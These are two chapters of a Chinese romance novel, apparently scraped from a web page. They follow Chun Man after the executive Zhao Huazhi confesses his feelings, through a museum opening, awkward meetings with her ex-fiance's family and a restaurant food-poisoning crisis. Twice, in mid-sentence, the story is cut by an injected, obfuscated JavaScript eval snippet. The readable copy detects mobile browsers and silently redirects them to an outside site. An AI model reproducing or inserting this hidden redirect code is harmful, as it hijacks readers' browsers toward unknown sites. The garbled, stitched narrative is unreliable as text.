春满适才松口气,司法馆开业的消息还没有告诉他,如今又要邀请他吃饭。合情合理的接触,对春满而言,却十分棘手。 晚七点钟,满郁以饱满松弛的状态正式开始直播,再大的场面她都不会怯场。 春满和几位助播小助理待在镜头外,飞速滚动的弹幕气氛和谐,左上角不断飙升的直播间人数鼓舞着每一个人心潮,连日来坐过山车般惊心动魄的遭遇得到了最踏实的抚慰。 直播临近尾声,房间的门被人从外面推开,春满偏头留意了一眼。 赵华致极其低调地出现,跟离得最近的运营经理说话。赫京是他的主场,他在这里有远超任何人的闲适自在,不怒自威的上位者气场让人生出一种很难放松的紧绷感。 春满不动声色地挪远,她想出去待会儿,但他堵在门口,春满只得退到最里面被隔出来摆货物架的小仓库。 高涨热闹的直播气氛遥遥地传进来,春满打量周遭逼仄的环境,在心里问自己至于吗。 就这么害怕面对赵华致吗? 自我逃避地待了五六分钟,春满一咬牙,决定还是回去吧,总不能一直不见。 结果刚要去掀挂在仓库门上的布帘,有一只手先于自己的动作,把帘子撩开。 直播间打光灯将整个房间照得异常明亮,那光亮从赵华致后背投来,刺得春满微微眯了眯眼,她把心脏漏跳一拍的慌乱一并藏在这一瞬的不适应中。 赵华致没有绅士地避让,径自跨步进来,米色的布帘擦着他的后背逐渐垂落,隔绝了仓库和外面两个空间。 方才赵华致进入直播房间后第一时间便注意到春满,她隔着直播手机坐在满郁对面的位置,眼底涌动着对母亲的崇拜。等赵华致跟旁边人说几句话再看向她的方向时,那位置空空如也,春满这个人如同从房间里蒸发掉似的,四下寻找时,只看到那道落荒而逃钻进布帘里的身影。 “进来找东西?”赵华致问。 “没,随便看看。”春满听到布帘外满郁跟直播间的粉丝说感谢语结束直播的声音,听见满郁跟小助理说话,问她去哪里了,顺势跟赵华致作别,“我妈在找我,我先出去了。” 赵华致没动作拦她的去路,只淡声问:“我听说司保馆后天开业,你不打算邀请我参加吗?” 春满顿步,垂在身侧的手虚虚地攥了几下,才找到自己的声音:“我在网上了解到那天你要出席一场很重要的交流会,所以不想耽误你时间。” 之前为了公关满郁身上舆论,已经耽误了他很多精力。 “该如何安排行程,我有自己的判断。”赵华致如是回答,口吻气场更接近于领导者。 从江鎏在姜早早那里翻车,到他在谢开阳刺激下自乱阵脚,再到得知春满一反常态迟迟不邀请自己参加开业仪式,赵华致便知道会有这么一天。 从他高频率地介入她的生活,自爆般把一个个和她的交集公开,他便不惧怕今天的到来。 他需要且愿意让她发现这个鲜为人知的秘密。 “还有问题吗?”赵华致催促着春满接近真相的进度。 “有。”春满想到那天的晚饭,“我妈出事那天,我邀请你到家里吃宵夜。你原本是不是有别的安排?” 赵华致已经猜到春满躲着他的原因,所以很坦率地承认了:“是。” “……为什么临时改变行程?” 并不隔音的布帘外,满郁相信了小助理说春满可能去厕所的猜测,没有四处找她。团队热闹地收拾设备,讨论待会儿去哪里吃宵夜。 两人说话时声音不高不低,本就微弱,经过这嘈杂氛围的冲击,赵华致往前倾了倾身,才能确保春满听到:“觉得跟你一起吃宵夜更重要。” 一顿寻常的宵夜而已。春满因为不想浪费食物随口邀请他一起。 有什么重要的。春满心里嘀咕。 赵华致仿佛读懂了她内心独白,继续道:“和你有关的事,对我而言,都重要。” 春满抬头时才意识到自己和赵华致离得太近了,俊朗优越的五官在眼前放大数倍,他惯用的男士香水的清冽气味和她身上沾染的植物木香交织在一起。 春满猝不及防地撞进男人的眼底,小小的瞳孔里,容纳的全是她。春满四肢僵硬,不方便刻意活动,外面众人散去,房间已经安静,她仍旧把声音压得低低的,问:“我可不可以理解为……你喜欢我?” 春满说完,只觉幼稚和荒唐。 赵华致为什么会喜欢她呢? 赵华致却承认得很坦然:“我喜欢你,从很多年前。” 春满用近乎难以置信的眼神盯着他,虽然她从很多人那里都获取了这个信息,可听赵华致亲口说出来,程度如此深地表述,她只有无措。 密密麻麻的异样在四肢百骸出现,她不自在地想要往后退,半晌都没整理好思绪。 不论何种境地,她都不能仗着不知情,理直气壮地肆意挥霍别人的喜欢。 “抱歉,我不知道。” 她六年前没意识到,这两年赵华致高频地介入她的生活,她仍然没有意识到。 春满一直专注于自己的感受,忘记站在赵华致的角度思考,谁能想到他如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下一秒,赵华致的手机响,有电话进来,他拿出来要接时,小臂被面前的女人抬手制止住。 春满下意识以为电话是满郁打来亲自邀请的,不希望赵华致接。可做完这一动作,春满猛然意识到自己越界了,立刻清醒过来,松开手。 “不让接吗?”赵华致偏了偏手机屏幕让她看。 春满还真大着胆子扫了眼,来电显示特助的名字,顿觉窘迫地轻声圆场:“没。” 电话那头的确是特助,但说的是满郁作为感谢想请他吃饭,询问他的意见。 不知是手机隔音太差,还是春满的听力太好。春满几乎是立刻望向赵华致,担心他会答应。 赵华致没急着做决定,似有所感地对上她的视线,上下嘴唇开合几次,无声地、用口型问她:我可以去吗? 春满因为过于紧张咬着内唇角,她没回答,眼神却已经给了答案。 “帮我转达,今晚直播反响不错,吃饭就算了,以后会有一起吃饭的机会。”赵华致明明在讲电话,注意力却全落在春满身上,看着她别开脸时不自觉泛红的耳侧皮肤,于心不忍地改口道,“算了,不用说这么多,你说我今晚没时间吧。” 赵华致挂断电话,春满余光注意到他正逼近自己:“我按照你的要求做了,可以追你吗?” 春满艰难地给了一个回答:“我需要时间。” 赵华致暂时放过她,没把人逼急:“只要你不躲我,多久我都可以等。” 小仓库空气不流通,春满觉得自己再待下去便要窒息了,轻轻地嗯了声,表示自己答应了赵华致的要求,然后说:“先出去。” 赵华致侧身让路,示意她先。 春满抬步,刚走到门口,布帘外传来有员工回直播房间拿东西的声音,她应激地往后一躲,后背撞到赵华致胸膛里。 她只觉后背火辣辣的,烧得厉害。 赵华致声音含笑,却是关心的态度:“小心点儿。” 春满头也没敢回,在外面人离开后,疾步出去。 - 司机等在楼下,见赵华致下来,便发动车子,把人接上,驶往机场。 老板的航班原本在下午,宁愿改到晚上的红眼航班,也要留下来盯今晚的直播活动,看来这是集团很重视的项目。 不知内情的司机通过后视镜望望,见老板脸上非但没有为工作连轴转的疲惫,甚至可以用愉悦来形容,而且属于那种“遇到件意料之外的喜事”才会出现的愉悦。 司机心想:看来老板对今晚的直播效果很满意! 车子驶出去几公里,赵华致的心情仍没办法平复。 他降下一截车窗,在猎猎的风声里,神经末梢放纵地蹦迪。 是前所未有的兴奋。 他曾经认为自己的喜欢有一套标准,且在青春期时便早早地制定好。 而春满是在那些条条框框之外的女孩,她身上闪光点像是星星,在以数量取胜的比赛中轻而易举地成为赢家。 只可惜他醒悟得太迟,行动得太晚。 更改掉连参照对象都不存在的第一套标准,赵华致用了三年的时间。 把这个Plus版的标准否决掉又要用多久呢?赵华致试了一年、两年、三年、四年。四年间,他饮鸩止渴般远远地看着她,越陷越深。 也有过恶从胆边生的时刻,琢磨着使点上不得台面的手段设计他们分手什么的。 可看着她和房嘉恺在一起眉梢眼底洋溢着幸福的样子,赵华致便什么也不敢做。 赵华致偶尔也会认命地想,就这样吧。四年不够,用七年,七年不够,二十年,二十年不够,五十年,总不至于这辈子再遇不到比她更吸引自己的人了。 再不济,结婚了还能离。他总会有机会的。 就算春满和房嘉恺白首到老……那赵华致也该开心才对。 毕竟没有自己,她的人生同样幸福圆满。 从度假村开始,一次次突破社交距离接近她, 他设想并期待过这一天,没想到它比想象中来得要快。 他兴奋的同时,又忐忑最坏的结果。 好在春满没让他输。 赵华致看着登机牌上目的地,记起这座城市的糕点很出名,回程前买一些带上飞机,春满还来得及吃上新出炉的。 21.第 21 章 21 春满隔了几分钟从今晚做直播活动的房间出来。 办公大平层视野开阔,只亮了一半的灯,不多的员工并没有注意到她这边。 手机对话框里,满郁先是发消息问她在哪,没收到回复又发来宵夜的定位,让她自己打车过去。春满收起手机,左拐去搭电梯。 “春满?” 听到有人叫自己,春满循声望去。 提着两份宵夜从电梯间出来个男人,格子衬衣配黑框眼镜,是星恒的员工,房嘉恺的同事。 “真的是你啊,我还以为认错了。你在这里工作吗?” 春满因为愕然一时没想好如何回答合适,选了个折中的答复:“算是。你这是……?” 总不能是下班后兼职外卖送餐员吧。 男人顺着春满视线盯着的地方,低头,抬了抬手,说:“害,我媳妇儿在这里工作,今天加班,我这不来送些吃的。” “那你快去吧,要趁热才好吃。”春满礼貌地笑笑,结束这场简单招呼。 这个小插曲如同压死骆驼的那根稻草,出现得“真是时候”,让春满本就焦灼无措的心情更复杂。 春满之前庆幸星恒科技被赫京收购后仍保留原来的办公地点,未集体搬来赫京集团总部,不是因为她做了什么见不得人的事,故意躲着房嘉恺和他的同事们,而是怕问题复杂化。 两人各有社交圈子,四年间,互相渗透得不深,但彼此的同事朋友都知道对方。 更遑论,春末星恒团建时,春满非但以家属身份参与,房嘉恺更是当众宣布她们即将订婚的消息。两天一夜的团建日,大家相处下来已经很熟悉了。 星恒内部除了负责卫生的清洁工,估计都知道他们订婚的事。 自然,取消订婚且分手的事,估计也都知道了。 随着电梯门合拢,春满看清墙面上倒映出的自己嘴角的苦笑,抿了抿唇,想到一件更糟糕的事情。 依据她对赵华致的了解,他说要追,那肯定势在必行。 但她身上叠加了“下属的(前)准未婚妻”的身份,赵华致的行为真论起来事关人品道德价值观。 他处在如今的社会地位,那么多双眼睛盯着,个人成就和集体荣誉届时都会受到影响。他真的不顾忌吗? 赵华致舍得在零桃色绯闻的好形象上添一抹碍眼的颜料吗? 房嘉恺一旦知道,在自尊和不甘的激怒下又会闹出什么乱? 前路肉眼可见的荆棘丛生,春满良久才从杞人忧天的恐慌中回神,聚焦于眼下——她怎么想的? 情急之下权宜的答复,她说需要时间。 但多久才够呢?她不知道。 春满心脏怦怦直跳,仿佛又回到被告白的时刻。 至少那一刻,春满脑中没有多余,只想他。 - 司保馆的开业时间定在三天后的下午两点钟。 章啸行特意跟春满提前确认过,赵华致届时会不会来。 春满照实说:应该会来。 赵华致是前一天傍晚出差回来的,春满在楼下喂完流浪猫回家时,在电梯里和他碰了个正着。 赵华致正抬手捏了捏眉心,缓解一路的疲惫,脚边有个行李箱,另一手搭在拉杆上,手指勾了个印着水墨画的纸袋,看样子是刚出差回家。 “刚落地?” 听到春满的声音,赵华致才朝电梯外望来,手垂下:“回家放行李,待会儿还得去公司。你去喂猫了?” 春满迈进电梯,在赵华致斜前方的位置转过身,面对按键盘刷亮要去的楼层:“去打扫了一下猫窝的卫生。” 再寻常不过的一次邻里碰面,但发生的次数多了,加之两人如今的关系有些特殊,所以电梯里的气氛有些微妙。 春满知道自己在故作淡定,因为跟过去坦荡直接的态度不同,她变得连对视都不敢。 秘密说开后,赵华致便没必要收敛自己的目光,尤其是当下的独处环境,愈发肆无忌惮起来:“展馆是明天开业?” “下午两点。”春满目光在他脸上停留,转瞬即逝,“你有工作不来也没关系,以后随时可以参观。” 他看着春满,说:“我会去的。” 春满觉得一楼到七楼的时间从未这么漫长过,她把墙壁上的广告看了一遍又一遍,终于等到电梯到达。 “这个给你。”赵华致递过来一个纸质手提袋,“上飞机前买的,都是你可以吃的。” 正等电梯开门的春满低头去接,刚进电梯时便闻到,一股很浓郁的甜品香气。甜品品牌经典的打包袋,一南一北两座城,饶是有飞机和专车接送,提着这么个袋子也挺碍事的。 “我在网上看到这个店要排很久的队。”说完春满想到他有助理,也可以找代购,饥饿营销这种概念在金钱面前不具有威胁性。 “我排的那支队伍移动得比较快,看了几则新闻就轮到我了,还挺快。”赵华致如是说明道。 春满提了提袋子,说:“谢谢。我回去就尝尝。” 那一袋甜品种类多,分量却不大,尝鲜的话刚好合适。春满到家后各尝了几块,选了自己心中的top3,拍照给赵华致发过去。 春满端着杯子喝水时,手机震动起来,赵华致直接回过来电话。 “都尝过一遍了?还吃得下晚饭吗?” 春满在猝不及防之下接的电话,嗯声时嘴里尚含着一口水。她咽下去,补充道:“每样吃了一小块,今天午饭吃得晚,不怎么饿。” 目前这种不清不白的阶段,随便一句话都能被当成阅读理解分析半天,春满琢磨着话里的潜台词,又担心赵华致只是随口一说。 真实想法如何,只有赵华致知道,偏偏当事人没挑明,只是说起:“原本打算亲自送到你家,顺便蹭杯咖啡,还能多跟你待会儿,没想到先在电梯里遇见了。” 春满莞尔:“晚上喝咖啡不好。” 下半句想说,如果他喝得惯她煮的咖啡,那她明早多煮一杯,但转念又顾虑到不妥,所以没提,话题不上不下地卡在这。 不晓得赵华致看没看透她的犹豫,他足够自然的反应很体面地照顾着她的情绪,问:“那明晚一起吃饭好吗?开业活动结束后,如果你不忙的话,我想带你去吃一家我很喜欢的餐厅。” ………… 春满陪同章啸行在司保馆内迎宾,抽空看了看时间,差一刻两点钟,赵华致还没到。 展馆建于高处,门前几十级台阶,周围绿树环绕,今天暂不对游客开放,来往的皆是受邀的媒体嘉宾。 “慢慢。” 春满正跟现场的同事说着话,听见有人叫自己,循声望去。 春满确认嘉宾牌时,在其中看到了佟向琴的名字。只是不曾想,房嘉恺跟着一起来了。 房嘉恺醉心项目时往往都是怎么舒服怎么来,他和春满大学时一个端着相机拍鸟,一个扛着机器勘测,吃饭都是随便对付,论形象一个比一个敷衍,但到了正式场合捯饬起来是非常有型的。 和春满站在一起,形容一句俊男靓女不为过。 佟向琴远远地注意到搭上话的两个人,心里觉得般配,嘴上忍不住感慨:“你看这俩孩子,多好。” 章啸行在佟向琴旁边,一同望过去,下意识想附和,但突然想起这俩“孩子”间的矛盾,紧急刹停,只是面露微笑。 另一边春满和房嘉恺简单几句客套后,过来和佟向琴打招呼:“阿姨,您也过来了。” “看着瘦了,工作再忙也要注意身体。”佟向琴还如同过去每一次见她时一样,毫不生疏地拉着她的手,上下打量她一番,转头面对章啸行,用半开玩笑的语气说,“慢慢是我家的人,受委屈了我是要替她出头的。你可不能不让她休息。” 章啸行笑:“肯定不会的。” 春满在大庭广众被架起来,不方便小题大做地纠正佟向琴话中模棱两可容易让人误会的信息,只能礼貌却疏离地旁观着。 接近两点,赵华致现身。有人发现他,上前热络地客套、叙旧。 赵华致几乎是到场的第一时间便看到春满,发现她身侧的那对母子时,眸色沉了沉。 佟向琴身边不断有人过来打招呼,春满被她带着面露微笑地社交。期间不经意瞥见赵华致正盯着自己,陡然紧张了些,一时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578573|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他到了多久,又看了多久。 他在这样的场合从善如流,衣冠楚楚。 眼看着赵华致逼近,春满心都要提到嗓子眼。 没等春满打招呼,佟向琴先于她开口:“赵总,好久不见。” 佟向琴手上的业务主要集中在餐饮上,虽然与赫京是竞争也是合作关系,且她年纪比赵华致年长,但仍要带几分恭维。 赵华致冲佟向琴轻一点头,没过多互动,视线不偏不倚地落到春满身上:“抱歉,过来迟了。春满,方便帮我介绍一下现场的布置吗?” 章啸行示意春满赶紧:“你领赵总逛逛,好好招待。” 春满顺势跟佟向琴作别,把自己被捂热乎的手抽出来:“阿姨,我先去接待一下。” 春满跟上赵华致的脚步远离佟向琴,没回头,因此不知道身后有多少道目光落在自己身上。 赵华致突然出声,打断了春满即将出口的工作汇报:“没耽误你们沟通感情吧?” “没……”春满急切地想解释,她不是一手托两边的人。 但赵华致似乎只是随口一问,并没有任何误会的意思,紧接着又问:“中午吃了什么?” 春满中午在确认展馆的细节,敷衍地对付了几口,突然被问,费了些时间才回忆起吃了什么。 “没好好吃?”赵华致看她一眼,手从口袋里抽出来时,掌心躺着两块方形片装的巧克力,“这个给你。” 春满心说我又不是小孩,你怎么见面还给糖呢,但动作上很配合地接过来,道谢。 周遭除了工作人员便是嘉宾,春满握着两块巧克力,觉得心里甜甜的。 期间有人跟赵华致打招呼,春满隔着半步的距离站在他身边,不亲近也不疏远。 仪式按部就班地开始,顺顺利利地结束,春满心里一直记得跟赵华致约好晚饭的事,并且提前计划好收尾工作。 只是不曾想有个意外发生。 活动结束后,佟向琴没有立刻离开,动物园里一大一小两家主题餐厅都隶属于她的公司,她叫上春满一块去餐厅巡视了一趟。 两年前,动物园濒临倒闭,佟向琴第一时间注资,并且接手了园里本有的那家生意惨淡的小餐厅。春满出于不辜负对方信任的出发点,义务性地为这家餐厅倾注了无数心血。 第二家规模更大的餐厅从前期建造到后期运营,春满继续提供了很多可行性意见。 这两年她不邀功,也不卖惨,怀着一颗感恩的心对待,佟向琴将她的付出看在眼里,继而给她放了更大的管理权限。 春满不图这个,可放任局面水到渠成的发展,等春满如今反应过来时,才意识到她们之间捆绑得过于密切。 不是一句两句话就能斩断的。 “往年的周年活动就是折扣促销,感觉没什么新意。今年你帮阿姨琢磨琢磨,咱搞得隆重一点。”佟向琴跟春满聊了会工作,一看时间,道:“不早了。我让小恺订好了餐厅,咱们一起吃晚饭。” “阿姨,晚饭我就不跟你们一起吃了,我今晚跟人约好了,不好爽约。” “约了谁啊,叫来一块吧。咱们去城西过几天才开业的新餐厅吃,我店里请的厨子特牛,你肯定喜欢。”佟向琴开明又强势,好像给了她选择的权利,也剥夺了她选择的机会。 春满费了些时间成功拒绝,简单收拾东西离开动物园,去和赵华致汇合。 活动嘉宾的车停泊得比较集中,零星几辆还没离场。 春满没敢直接在停车场坐赵华致的车,发消息让他停在另一个门。 春满悄无声息地避开人坐上他的车,关上车门系安全带时,注意到驾驶座上的人弯着嘴角小声嗤笑了一声。 春满眼神疑惑,正要发问。只见赵华致盯着车子前方,出声:“那人是不是佟向琴?” 春满连抬头确认的时间都没有,条件反射般往下一弯腰。后知后觉自己的反应太过激烈,春满复而掩耳盗铃地伸出手,蹭了蹭自己的鞋面,慢吞吞起身。 “鞋子脏了,我擦一下。” 赵华致眼眸宁静,深沉得让人捉摸不透,半晌,他说:“春满,我们不是在偷情。” 22.第 22 章 22 偷情两个字一出,春满瞳孔微微睁大些,闪过一瞬自乱阵脚的慌乱。 赵华致被她一系列反应逗笑,随之又陷入了酸涩的沉默,片刻后,出声缓和气氛:“好了,不吓你。” 春满适才继续系安全带的动作。 车子发动,将方才的纷扰甩在身后。 半小时后,到达赵华致订好的餐厅,是一家装修很有水准的中餐馆。 停好车进门前,春满盯着门帘看了一会儿,若有所思。赵华致注意到,茫然地随着她的视线望了望,问:“怎么了?不喜欢我们换一家。” 春满轻轻摇头,说:“没事,进去吧。” 虽然春满如是说,但赵华致注意到,坐在包间内点餐时,她仍一副藏着心事的样子。 “和房嘉恺来过这家餐厅?”赵华致状似不经意地问起。 春满抿了口温水,说:“没来过。”她知道自己的小心思瞒不住他,刚要解释,包间门被人叩响,进来个年轻的络腮胡男人。 “赵总,好久没来了。难得见你带女性朋友,让我提前给包间布置一下啊。”来人是餐厅老板,熟络地跟赵华致打招呼,下一秒视线滑到春满身上,又意外地扬扬眉,“是春满啊?你跟赵总怎么凑一块了?” “林哥。”春满礼貌地喊人,“工作上接触的。” 赵华致看着春满并不热络的反应,隐约有了点思路。 林老板对赵华致是客气,对春满则是朋友间的随意。 他和赵华致简单说了些场面话,离开前,对春满道:“小恺最近工作挺忙的吧,下次叫他来店里坐坐。” 对方显然还以为她跟房嘉恺在一起。 林老板话密,春满那句“我们已经分开了”没等说出口,林老板下一句便已经冒出来:“佟姐城西那家餐厅快拾掇好了吧?听说里面很多都是你的想法,等开业那天我可要好好体验一下。” 问题多到春满根本来不及回,林老板便已经说了最后一句:“赵总,你们慢用,我就不打扰了。” 直至包间门被关上,春满微张着嘴,心里堵得只觉莫名其妙。 她知道林哥话密,但过去也没到这个程度啊。 正想着,赵华致出声询问:“这就是你刚刚心不在焉的原因?” 春满回神,嗯了声,听见赵华致紧接着的后半句“怕被房嘉恺知道我在追你?”,连声纠正:“我担心对你影响不好。” 赵华致眼神定了定,不是不理解她这一担心,只是觉得无伤大雅。 “那就把我当作普通异性朋友相处。你愿意让我和房嘉恺站在同一起跑线,便可以了。” 这时服务生叩门,进包间上菜,打断了两人的谈话。 春满等人出去,才开口纠正:“你刚刚说的同一起跑线,应该不能实现。” 这句否定让赵华致心凉了几分。幸而春满重新解释:“房嘉恺已经丧失资格了,你不需要跟他比较。” 赵华致抬了抬眉,如果不是正在被春满注视着,他的嘴角已经翘起来了。 春满把话挑得更清楚:“我的意思是说,如果相处一段时间,我没有答应你,那也跟房嘉恺没有关系,我希望你不要为难他。” “我明白。”几句话沟通下来,两人的心思都明朗很多,也坚定很多。赵华致示意,“吃饭吧。” - 新的一周,春满见到赵华致的频率不低,在朋友圈看到他的动态也会没有顾虑地点赞评论。 周三,赵华致约春满去看音乐会,春满答应了,早晨出门时大大方方地挑了件颜色鲜亮的裙子。 却不想被同事调侃:“今天有什么开心的事吗?” 春满茫然:“为什么这么说?” “感觉你心情格外好。”同事说。 春满倒没什么感觉,认真琢磨了下这个问题,也没思索出结果。 一整天没怎么忙,时间过得快。 临近下班时间,春满把工作收尾,听到同事突然道:“小满姐,你在网上看到有游客食物中毒的视频了吗?” 春满只当是其他地方的八卦,随口问:“什么视频?” 对方震惊于她竟然还不知道,刚要翻找视频给她看。 春满的手机有电话打进来,是佟向琴,春满捧着手机犹豫几秒,才划开接通。 “慢慢,你还在单位吗?”佟向琴没有拖泥带水,有一种事态紧急的危机感,开门见山道,“今天上午有动物园的游客在主题餐厅吃饭出现食物中毒,对方在社交平台上讨说法,发布视频的热度太高,现在影响很严重。我还在外地出差,赶回去最快也要凌晨。我担心底下的员工处理不当,你时间方便吗?帮阿姨去看看什么情况。” 同事隐约猜到春满这通电话的内容,打着配合及时把播放着“消费者投诉”视频的手机递过来,春满垂眼看着了解情况,嘴上很果断地答应:“好,我还在园里,现在过去,你也不用太担心。餐厅厨房每餐都有存样,等食品安全的检测结果出来便可以真相大白。现在网友都很清醒,虽然容易被带节奏,但不会颠倒黑白。” “我明白。但是餐厅目标群体是孩子,做家长的最看重孩子的健康,宁可错杀也不放过。等检测结果出来,得带着公关团队得着重把口碑扭转回来。”佟向琴叹口气,“辛苦你了,慢慢。我已经给小恺发消息了,让他过去陪你一块。” 挂断电话,春满让同事把视频原链接发给自己,认真把原博内容和评论风向,以及话题广场上的发酵程度了解一遍,才想起来联系赵华致,告诉他自己没办法去音乐会的事。 赵华致听完她的理由,没生气,只说:“有需要帮忙的地方,可以找我。” 分隔电话两端,春满没办法知道他的真实情绪,更没时间去分析,应下后,便动身去餐厅。 房嘉恺不知从哪里赶来的,和春满同一时间到门口。 “不好意思啊,我妈也把你叫了来。你吃饭了吗?”房嘉恺脖子上还挂着星恒的工牌,因为跑了几步,挂牌转到背后。 “不怎么饿。先进去看看情况吧。”春满抬手,指了指他的领口,没有上手帮忙,只是提醒他,“你脖子不难受吗?” 房嘉恺低头看了看,仿佛才意识到,把工牌摘下来,蓝色的挂绳在PVC材质的卡套上缠了两圈,拿在手里,先帮春满推开门。 这个时间动物园停止游客入场,但园内尚有滞留的游客,餐厅多少受网络舆论的影响,人流量小了很多,一路进来还能听到有游客窃窃私语地聊食品中毒的事。 房嘉恺不常来,但春满对这里熟,轻车熟路地找今日的值班人员了解情况,并且查看监控。 两家餐厅大大小小的员工都认识春满,经过一直以来的接触对她很是信赖。 虽然有听说春满和房嘉恺的婚事取消,但此刻房嘉恺寸步不离地陪在旁边,且对她的一切决定给予支持,便彻底打消了员工心中那点不知如何站队的动摇现象。 和公关团队连麦开了个会,一行人忙完天已经黑透。 房嘉恺惦记着春满还没有吃饭,打电话订餐厅。春满制止,说有些累想早点回家休息,在旁边的快餐店简单对付一下就可以。 房嘉恺只是想有和春满独处的机会,并不在意吃什么,因此没有拒绝。 这个点的快餐店食材紧缺,春满点什么没什么,最后随便吃了几样,用餐时间比春满预想的快。 饭后,房嘉恺说:“我送你。” 春满刚要说不用,佟向琴的电话打来,向她了解目前的情况。 “上车吧,正好路上接。”房嘉恺建议。 春满便没拒绝,坐上房嘉恺的车。 这个时间路况很好,车子一路畅通,前半程春满和佟向琴汇报情况,后半程房嘉恺问起春满的近况,春满简单回答,只说了很少的话。 车子拐进小区附近的街道,春满提前开口:“停在小区门口就可以。” 房嘉恺以前过来,车都是开进车库的,闻言默了一瞬,只能顺从。 车子停下,春满道谢后,解开安全带下车,丝毫没有犹豫。 “慢慢,等一下。”房嘉恺从车上下来,绕到车后开了后备箱,“家里亲戚送了几箱甜石榴,我知道你喜欢吃,特意留了一箱。” 一箱十几个,分别被泡沫和纸板固定保护,因此箱子不算小。 春满力气不小,但抱着上楼难免不方便。 房嘉恺顺势说:“我帮你搬上去吧。” 两个人在一起那么多年,彼此间足够了解。房嘉恺自然知道自己的目的一目了然,他只是在赌春满会不会心软。 “小恺……算了,我自己搬吧。”春满有很多话要说,但无非是些说了很多遍的内容,翻来覆去并不能起到强调作用,只会让这段关系越理越乱。 春满上前一步,想要去接他手里的纸箱,希望房嘉恺早些离开时,福至心灵般偏了偏头,看到从路那头夜跑回来的赵华致。 赵华致站在一个卖梅花糕的小摊车前面,把老人桶里剩余的都买走,扫码时都不忘朝关注着春满这边的情况。 “……” “慢慢?”房嘉恺和春满说话没有得到回应,循着她的视线看去。 贴着“寻女重谢”彩页的小摊车慢慢悠悠地驶远,赵华致提着满满一袋梅花糕朝这边过来。 随着那人走到光下,房嘉恺认出:“赵总?” 赵华致冲他点点头算作打招呼,随后看向春满,明知故问:“刚回来?还是要出去?” “……回来。” “正好。我忘记带门禁卡了,待会儿蹭你的卡。”赵华致理由找得低级却合理。 连春满都没听出他是在撒谎还是确有其事,她忙应了一声,扭头对房嘉恺说:“谢谢你送我回来,还有这箱石榴,回去路上慢点开。” 春满从房嘉恺手上把水果箱接过来,肢体没有发生丝毫接触。赵华致仿佛真的没有任何私心,单纯是蹭邻居的门禁卡,等待时悠闲又放松,期间还能心情不错地撑开手上的袋子,示意房嘉恺拿几个:“桃花糕,味道挺不错的,尝尝?” 见房嘉恺没反应,赵华致执着地劝:“我买多了,一个人也吃不完。” 房嘉恺空着手,没道理让上司再劝第三次,道谢后伸手去拿。 “多拿几个。”赵华致提醒。 春满在一旁抱着水果箱,等两人互动结束才抬步朝小区大门走。 到刷门禁卡时,房嘉恺看到赵华致动作自然地从春满手里把纸箱接过去,春满从包里拿卡刷开门禁,两人进了小区,纸箱却一直被赵华致抱在手里,没给春满。 “你真没带门禁卡吗?”春满问。她知道让赵华致一直抱着纸箱不太妥,但刚进小区时她提出自己来抱被他拒绝,再争执下去赵华致也不会如她愿,甚至会曲解出别的意思,索性春满不再纠结,问起另一件事。 “你猜。” 春满不太想猜。 赵华致朝她转了转身,手抬高些,在春满疑问的眼神中,说:“你提着桃花糕,路上遇到邻居趁热分一下。” 春满接过来,发觉赵华致买的真不少。估计是看老人深夜摆摊辛苦,都给包圆了。 春满嗅着馨甜的味道,只觉食指大动,自己先拿出一个吃起来。 “和房嘉恺一起没吃饱吗?”赵华致的声音轻飘飘地传过来。 春满咬着梅花糕偏头,打量着他,隐约咂摸出点酸唧唧的味道。她把手垂下,捋了捋单个装的纸袋边角,叹道:“一直在忙,只吃了一个汉堡,里面的鸡排还是凉的。” 赵华致嘴角翘了翘,心情不错。 这个时间不少住户已经休息,小区内笼着暖黄色的光,一路安安静静。 电梯到达七楼时,春满才从赵华致手里接过纸箱。 “明晚有空吗?想请你去家里吃晚饭。” 春满疑问地嗯了声,眼神仿佛在问“明天是什么特殊的日子吗”。 赵华致仿佛会读心术般,自顾解释了原因:“想带你去外面吃,但担心会踩雷影响用餐心情。我厨艺一般,不过剁椒鱼头和八宝饭做得还不错。有时间吗?” “好。” 见她答应,赵华致把自己的电梯卡递过去:“这个给你。明天你下班直接去我家。” 春满犹豫一番,又觉得这样做的确方便。 “你明天不用吗?” “家里还有张备用的。” 听赵华致如是说,春满适才接过:“明天见。” - 翌日,佟向琴来动物园处理餐厅食物中毒舆论的后续事宜,春满过去和她短暂地见了一面。 傍晚临下班时,佟向琴说辛苦她昨晚忙到深夜,要请她吃饭。 春满以自己和朋友约好为由拒绝,佟向琴还欲劝,但见春满实在坚持便作罢,只说城西那家餐厅三天后开业,让春满当天一定要到场,大家一起聚聚。 春满不好连着拒绝两次,只得答应。 佟向琴适才满意地笑了,说:“那天你记得早点过来帮阿姨。” 春满先回家一趟,装了一篮时鲜水果,才用赵华致给的电梯卡刷亮八楼的按钮,上楼。 住宅的防盗门半掩着,春满一跨出电梯便嗅到喷香的家常菜的味道。 门口的鞋柜旁,摆着一双奶白色的适合她鞋码的家居拖鞋。 春满换鞋进门,把水果放在餐桌上。 “先坐着等会儿,还有一个汤就好。”赵华致腰上系着围裙,听见她进门的声音探头看了看,便又回了厨房。 春满往厨房走了几步,半开放式的格局,赵华致在其中游刃有余,并不需要人打下手。 “有什么我能帮忙的吗?”春满站在流理台的这一边问。 赵华致脚在地板上划了下,似乎是费劲地把什么东西推远:“要不你过来帮我把这个祖宗抱走吧,它在这里蹿上爬下,我担心晚饭变成猫毛宴。”

